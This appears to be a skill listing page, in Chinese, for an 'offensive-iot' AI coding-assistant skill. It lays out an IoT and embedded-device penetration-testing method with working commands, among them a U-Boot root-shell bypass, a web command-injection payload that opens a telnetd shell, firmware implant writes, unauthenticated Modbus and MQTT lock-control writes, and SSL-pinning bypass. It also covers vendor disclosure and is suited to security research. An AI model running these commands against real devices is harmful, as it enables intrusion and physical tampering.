关于 offensive-iot
面向安全研究人员的 IoT 与嵌入式设备渗透测试方法指南,覆盖硬件检查、固件分析、运行时测试及云端和无线接口。
主要功能
- 01检查 SoC、闪存和调试接口
- 02提取并分析设备固件
- 03测试启动加载器、控制台和服务
- 04评估无线协议及工业协议
- 05检查配套应用与云端 API
适用场景
- 01审计消费类 IoT 设备的固件和默认凭据
- 02测试设备调试接口与安全启动机制
- 03检查无线设备和 OT 协议的访问控制
- 04追踪设备、配套应用与云端之间的安全问题
安装
复制下面的命令,在终端中运行。
npx skills add https:/ / github.com/ snailsploit/ claude-red --skill offensive-iot安装后在 Claude Code 中输入/offensive-iot确认已加载。
详细介绍
IoT 与嵌入式设备 — 攻击性测试方法
快速工作流
- 对设备进行物理侦察 — 确认 SoC、闪存、调试接口和无线电
- 获取固件 — 从厂商下载、捕获 OTA、硬件转储或拆芯片读取
- 解包并分析 — 检查文件系统、服务、机密信息、默认凭据和易受攻击的组件
- 获取运行时访问权限 — 通过 UART shell、telnet/SSH 默认凭据或漏洞利用链
- 横向移动 — 转向配套应用、云 API,以及通过网状网络/无线方式访问邻近设备
硬件侦察
PCB 检查
- 根据标记识别 SoC(Realtek、Mediatek、Espressif、Broadcom、Allwinner、NXP、STM32 等)
- 识别 闪存(8 引脚 SOIC = SPI NOR;BGA = eMMC;TSOP = NAND)
- 查找 调试接口:TX/RX/GND/VCC 焊盘(UART)、4–10 引脚(JTAG)、4 引脚(SWD)
- 查找标有
TX、RX、TCK、TMS、TDO、TDI、RST、BOOT的测试点
工具
| 工具 | 用途 |
|---|---|
| 万用表 | 连接前识别 GND、VCC 电源轨 |
| 逻辑分析仪(Saleae、DSLogic) | 查找 UART 波特率、SPI 时钟,识别协议 |
| USB-UART(FT232、CP2102) | UART 控制台 |
| Bus Pirate / Glasgow | 通用 UART、SPI、I2C、JTAG |
| J-Link / Black Magic Probe | JTAG / SWD MCU 调试 |
| CH341A 编程器 | 廉价的 SPI 闪存转储工具 |
| XGecu T48 | 现代通用编程器(NAND/eMMC/SPI) |
| ChipQuik / 热风枪 | 拆焊芯片 |
UART 发现
# Find baud rate
for b in 9600 19200 38400 57600 115200 230400 460800 921600; do
echo "=== $b ==="
timeout 5 minicom -b $b -D /dev/ttyUSB0 -C uart_$b.log
done
grep -l -E "U-Boot|Linux|Bootloader|console|login" uart_*.log
查找:U-Boot 控制台(通常会出现 Hit any key 倒计时)、Linux 初始化消息、控制台上的 root shell、登录提示。
进入引导加载程序控制台
# At U-Boot countdown, mash space or key listed
Hit any key to stop autoboot: 0
=> printenv # full env, often includes boot args
=> setenv bootargs ${bootargs} init=/bin/sh
=> boot # Linux comes up to root shell, no login
如果 U-Boot 被锁定,请尝试:
- 关键字
CONFIG_DELAY_AUTOBOOT_KEYED(因厂商而异) Ctrl+C/Ctrl+B/ 特定魔法字符串- 对 U-Boot 版本检查/签名检查进行故障注入(参见“故障注入”)
闪存转储
SPI NOR(最常见的消费级 IoT 设备)
# In-circuit dump (hold SoC in reset to avoid bus contention)
flashrom -p ch341a_spi -r firmware.bin
# Verify
file firmware.bin && binwalk firmware.bin
如果 SoC 不配合:拆下 SPI 芯片,在插座中转储,然后重新焊接。
eMMC / NAND
eMMC 需要先拆焊再读取:使用 BGA-153/169 转 SD 适配器(eBay 上很便宜),再用 USB SD 读卡器读取。
NAND 需要处理位翻转和 ECC — 提取后使用 nanddump/yaffshiv/ubireader。
OTA 捕获
许多设备通过 HTTP(S) 获取固件。对设备进行中间人攻击:
# Captive AP + transparent proxy
sudo create_ap wlan0 eth0 IoTLab
mitmproxy --mode transparent --showhost --ssl-insecure
# Or for non-SNI / pinning, use bettercap with custom DNS
捕获 URL,直接下载并进行分析。
固件分析
初步分类
binwalk -Me firmware.bin # Extract recursively
binwalk -E firmware.bin # Entropy plot — flat = encrypted/compressed
strings firmware.bin | grep -iE "(passwd|key|token|admin|http|ssid)"
文件系统挂载
# SquashFS (most consumer Linux IoT)
unsquashfs -d rootfs squashfs.bin
# JFFS2 / UBIFS (NAND-backed)
jefferson jffs2.bin -d rootfs
ubireader_extract_files ubi.bin -o rootfs
嵌入式 Linux 快速收获
# Hardcoded credentials and keys
grep -RIE "(BEGIN (RSA |DSA |EC )?PRIVATE KEY|api[_-]?key|secret|token|passwd|root:[^*])" rootfs/
find rootfs -name "*.pem" -o -name "*.key" -o -name "shadow"
# Telnet/SSH default creds
cat rootfs/etc/passwd rootfs/etc/shadow
grep -r "telnetd" rootfs/etc/init.d
grep -r "dropbear\|sshd" rootfs/
# Setuid binaries
find rootfs -perm -4000 -type f
# Vulnerable busybox / dropbear / openssl versions
rootfs/bin/busybox 2>&1 | head -1
strings rootfs/sbin/dropbear | grep "Dropbear v"
strings rootfs/usr/lib/libssl* | grep "OpenSSL "
# Web admin: lighttpd / mini_httpd / boa / GoAhead — known CVE goldmine
find rootfs -name "lighttpd*" -o -name "boa" -o -name "goahead" -o -name "mini_httpd"
CGI / Web 管理界面审计
GoAhead、Boa、mini_httpd — 这些代码库早已无人维护,几乎每隔一个 CGI 参数就存在命令注入漏洞。
# Disassemble a CGI
file rootfs/www/cgi-bin/setup.cgi
# Often plain ELF MIPS/ARM — analyze in Ghidra
ghidra-headlessAnalyzer -import rootfs/www/cgi-bin/setup.cgi
常见模式:
- 使用
system()/popen()拼接查询字符串参数 - 使用
sprintf后调用system— 很容易造成命令注入 - 通过将 cookie 与明文文件进行比较来检查身份验证(竞争条件/重放攻击)
运行时漏洞利用
控制台 / Telnet 默认凭据
按设备类别尝试:admin/admin、root/root、root/<empty>、admin/password、support/support、cisco/cisco,以及将厂商品牌名用作用户名/密码。务必尝试 root/<serial number> — 许多厂商会为每台设备设置独立的默认凭据。
Web 管理界面命令注入
POST /goform/setSysAdm
Cookie: SESSIONID=...
admin_user=admin&admin_pwd=password;telnetd -l /bin/sh -p 4444;
MTD 写入(从运行时重新刷写)
如果你有 root shell:
cat /proc/mtd # list partitions
mtd_debug erase /dev/mtd2 0 0x10000
mtd_debug write /dev/mtd2 0 0x10000 implant.bin
/dev/mem
在未启用 CONFIG_STRICT_DEVMEM 的旧内核上,/dev/mem 可读写物理内存 — 从任意 root 环境即可完全控制系统。
引导加载程序 / 安全启动攻击
U-Boot 快速绕过方法
setenv bootargs ${bootargs} init=/bin/shsetenv preboot 'echo 1 > /sys/...'(在内核启动前运行命令)tftpboot— 从网络加载攻击者的内核- 使用
bootm启动通过 UART 上传的内存驻留映像(该映像由loadb上传)
安全启动
现代设备会验证已签名的引导加载程序/内核。绕过途径:
- 降级:刷入较旧的已签名映像,其中包含已知的内核级 CVE
- 绕过回滚保护:未烧录防回滚熔丝 → 刷入较旧的已签名映像
- 提取密钥:使用厂商工具转储 OTP / 熔丝内容,恢复签名密钥
- 故障注入:对签名检查指令进行故障注入(见下文)
故障注入(电压/时钟毛刺)
Tools: ChipWhisperer-Lite/Husky, PicoEMP, custom MOSFET crowbar
Target: NAND/eMMC bootrom signature check, U-Boot env-protection check, OTP read
Procedure:
1. Locate target instruction window via UART timing or power trace
2. Apply glitch (V drop / EM pulse) at that offset
3. Sweep delay and width; success = corrupted check, accepted unsigned image
RTOS 目标
| RTOS | 说明 |
|---|---|
| FreeRTOS | 通常是单一二进制文件、没有 MMU → 栈溢出 → 直接控制 RIP |
| Zephyr | MMU/MPU 为可选项;请确认隔离功能确实已启用 |
| ThreadX | 现归 Microsoft 所有,大多为闭源 |
| MicroEJ / Mbed OS | Java/C 混合 — 类型混淆和 JNI 桥接 |
| ESP-IDF (Espressif) | Wi-Fi/BLE 协议栈、OTA 链、安全启动 v2 |
| QNX | 较旧版本:串行端口上的 pdebug shell = root |
MCU 逆向工程
# Read protected MCU via SWD / JTAG (if RDP not set)
openocd -f interface/jlink.cfg -f target/stm32f4x.cfg \
-c "init; halt; flash read_bank 0 fw.bin 0 0x100000; exit"
# SAM-BA on Atmel SAM
sam-ba -p \\.\COM3 -d at91sam7s256 -a "read_flash(0,0x40000,fw.bin)"
# Ghidra / Binary Ninja with appropriate processor module (ARM Cortex-M, ESP32 Xtensa, AVR, MSP430)
无线协议
蓝牙低功耗(BLE)
# Discover and enumerate
bettercap -eval "ble.recon on; events.show 60; ble.show"
# GATT introspection
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary
> char-desc
> char-read-uuid <uuid>
> char-write-req <handle> <hex>
攻击面:特征值可在未经身份验证的情况下写入、配对降级(强制使用“Just Works”)、会话密钥重用、应用端缺少等效于 TLS 的保护。
Zigbee / Thread / Matter
# Sniff with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E
zbstumbler -i 0
zbdump -c 11 -w zigbee.pcap
# KillerBee — replay, scapy-dot15d4 for fuzzing
zbreplay -f zigbee.pcap -i 0
Touchlink 入网:已知传输密钥已在野外流传(0x9F559A553B7A6B2C…)— 许多消费类设备会接受来自任意附近无线电设备的 Touchlink 入网请求。
Z-Wave
S0 安全机制使用固定的网络密钥派生方式;S2 修复了这一问题。仍使用 S0 的旧款灯泡/门锁可通过 Z-Force / EZ-Wave 发起攻击。
LoRaWAN
- 使用 ABP 配置的设备:密钥仅刷写一次,之后从不轮换
- 帧计数器重置后可能重放加入请求
- 使用
LoRaPWN、ChirpStack进行分析
Sub-GHz(433 / 868 / 915 MHz)
# HackRF / RTL-SDR
rtl_433 -f 433.92M -A # auto-decoder for many devices
gqrx # interactive
# Capture, analyze in Inspectrum, replay with hackrf_transfer
目标:车库门(KeeLoq 滚动码分析)、智能插座(固定码 = 易于重放)、胎压监测器(TPMS 欺骗)、工业遥测。
ICS / OT 协议
Modbus
from pymodbus.client import ModbusTcpClient
c = ModbusTcpClient('10.0.0.5', port=502)
c.read_holding_registers(0, count=20, slave=1)
c.write_register(40, 1, slave=1) # No auth in the protocol
BACnet(楼宇自动化)
# UDP/47808
bacnet-stack/who-is 10.0.0.0/24
# Read property without auth in many deployments
OPC-UA
现代 OPC-UA 具有安全配置文件;许多部署为兼容性而使用 None。测试:
- 匿名浏览地址空间(信息泄露)
- 使用弱凭据的用户名/密码端点
- 基于证书但接受自签名证书的端点
S7(Siemens)
Snap7 库;PLC 启动/停止、DB 读/写命令历来无需身份验证。这也是 Stuxnet 的攻击面。
MQTT / CoAP
MQTT 匿名订阅
mosquitto_sub -h target.broker -t '#' -v
# # = wildcard, prints every retained message → secrets, sensor data, control topics
mosquitto_pub -h target.broker -t cmd/lock/+/unlock -m '1'
许多云代理默认不限制主题 ACL — 使用空凭据连接,订阅 #,重放设备命令。
CoAP
coap-client -m get coap://device/.well-known/core
coap-client -m put coap://device/relay/0 -e '1'
DTLS 经常配置错误(固件中包含 PSK,且不轮换)。
配套移动应用/云 API
如今大多数 IoT 漏洞存在于云端 + 配套应用的组合中,而非设备本身。
# Decompile Android companion
apktool d Vendor.apk -o app
jadx -d app_src Vendor.apk
# Look for: API base URL, signing keys, MQTT broker creds, device-claim flow
grep -rE "(api\.vendor|broker|amazonaws|azure|firebase|s3\.)" app_src/
# Patch SSL pinning (frida)
frida -U -l ssl-pin-bypass.js -f com.vendor.app
测试云 API:
- 仅凭序列号认领设备(窃取已发货的设备)
/devices/<id>端点存在 IDOR- 实时流媒体 URL 无需身份验证(RTSP / WebRTC 令牌)
- 接受攻击者上传数据包的固件签名端点(罕见但后果严重)
跨设备横向移动
- 入侵 LAN 上的一台设备 → ARP/DHCP 欺骗相邻设备
- 网状协议桥接设备(Zigbee 协调器、Z-Wave 集线器)→ 控制相邻设备
- 交换 BLE central 角色 → 以合法集线器的身份直接与外围设备通信
- 云账户遭入侵 → 同时控制关联到该账户的所有设备
报告要点
每项发现都应记录:
- 受影响范围:型号、固件版本、地区,以及已知的序列号范围
- 复现方式:物理或远程,利用所需时间
- 前置条件:需要物理访问?处于同一网络?已通过身份验证的云账户?
- 后置条件:是否持久?是否影响其他设备?是否涉及云端?
- 厂商披露途径:PSIRT 联系方式、ICS-CERT、用于分配 CVE 的 MITRE
测试清单
[ ] Photo PCB top + bottom; identify SoC, flash, radios
[ ] Try UART at common bauds; capture boot log
[ ] Pull SPI flash; binwalk -Me; identify rootfs
[ ] Static review: creds, keys, vuln versions, CGI
[ ] Boot the device; map services on ports
[ ] Try default creds, web/CGI command injection
[ ] Capture OTA traffic; analyze update flow
[ ] Pair with companion app; intercept all traffic with TLS-bypass
[ ] Map cloud API surface; test IDOR and device-claim
[ ] For each radio: passive sniff, active probe, replay
[ ] Document CVE-eligible findings; coordinate vendor disclosure
关键参考资料
- MITRE ATT&CK for ICS — TA0108(初始访问)、TA0104(执行)
- OWASP ISVS / IoT Top 10
- Embedded Security CTF (microcorruption.com) — 练习 MCU 利用
- IoT Hackers Handbook (Aditya Gupta) — 经典方法论
- CISA ICS-CERT 公告源
- 来源:https://github.com/SnailSploit/offensive-checklist/blob/main/iot-embedded.md